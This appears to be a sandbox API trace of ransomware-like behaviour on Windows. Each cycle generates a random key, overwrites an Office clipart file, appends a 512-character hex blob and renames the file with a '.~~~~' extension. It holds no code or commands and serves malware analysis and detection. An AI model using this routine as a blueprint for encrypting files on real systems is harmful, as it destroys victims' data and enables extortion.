	[0112.675] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.675] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.675] CloseHandle (hObject=0x138) returned 1
	[0112.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.~~~~")) returned 1
	[0112.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.677] GetLastError () returned 0x0
	[0112.677] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.679] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.679] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23266894399) returned 1
	[0112.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacc34370, dwHighDateTime=0x1d60e1e)) 
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28303a0
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28303a0 | out: hHeap=0x300000) returned 1
	[0112.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832b40
	[0112.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.680] GetLastError () returned 0x0
	[0112.680] GetLastError () returned 0x0
	[0112.680] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.680] GetLastError () returned 0x0
	[0112.681] GetLastError () returned 0x0
	[0112.684] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.684] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x614, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x614, lpOverlapped=0x0) returned 1
	[0112.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.686] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.686] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.686] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.686] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.686] CloseHandle (hObject=0x138) returned 1
	[0112.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.~~~~")) returned 1
	[0112.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.688] GetLastError () returned 0x0
	[0112.689] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.690] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.691] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.691] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23268094529) returned 1
	[0112.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacc5a4d0, dwHighDateTime=0x1d60e1e)) 
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28303d8
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28303d8 | out: hHeap=0x300000) returned 1
	[0112.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833000
	[0112.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.692] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.692] GetLastError () returned 0x0
	[0112.692] GetLastError () returned 0x0
	[0112.692] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.692] GetLastError () returned 0x0
	[0112.692] GetLastError () returned 0x0
	[0112.816] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff74c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.816] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x8b4, lpOverlapped=0x0) returned 1
	[0112.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.817] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.817] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.821] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.821] CloseHandle (hObject=0x138) returned 1
	[0112.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.~~~~")) returned 1
	[0112.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.823] GetLastError () returned 0x0
	[0112.823] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.824] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.824] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.824] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23281435997) returned 1
	[0112.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacd8afd0, dwHighDateTime=0x1d60e1e)) 
	[0112.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28305d0
	[0112.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28305d0 | out: hHeap=0x300000) returned 1
	[0112.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833098
	[0112.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.825] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.825] GetLastError () returned 0x0
	[0112.825] GetLastError () returned 0x0
	[0112.825] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.826] GetLastError () returned 0x0
	[0112.826] GetLastError () returned 0x0
	[0112.828] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff876, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.828] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x78a, lpOverlapped=0x0) returned 1
	[0112.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.829] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.829] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.829] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.829] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.829] CloseHandle (hObject=0x138) returned 1
	[0112.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.830] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.~~~~")) returned 1
	[0112.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.831] GetLastError () returned 0x0
	[0112.831] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.832] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.833] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23282269476) returned 1
	[0112.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacdb1130, dwHighDateTime=0x1d60e1e)) 
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830608
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830608 | out: hHeap=0x300000) returned 1
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833850
	[0112.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.833] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.834] GetLastError () returned 0x0
	[0112.834] GetLastError () returned 0x0
	[0112.834] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.834] GetLastError () returned 0x0
	[0112.834] GetLastError () returned 0x0
	[0112.836] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffefe0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.836] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x1020, lpOverlapped=0x0) returned 1
	[0112.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.837] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.837] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.837] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.837] CloseHandle (hObject=0x138) returned 1
	[0112.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.~~~~")) returned 1
	[0112.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.839] GetLastError () returned 0x0
	[0112.839] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.840] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.840] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.840] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23283063663) returned 1
	[0112.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacdb1130, dwHighDateTime=0x1d60e1e)) 
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830640
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830640 | out: hHeap=0x300000) returned 1
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28338e8
	[0112.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.841] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.841] GetLastError () returned 0x0
	[0112.842] GetLastError () returned 0x0
	[0112.842] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.842] GetLastError () returned 0x0
	[0112.842] GetLastError () returned 0x0
	[0112.844] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc808, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.844] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x37f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x37f8, lpOverlapped=0x0) returned 1
	[0112.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
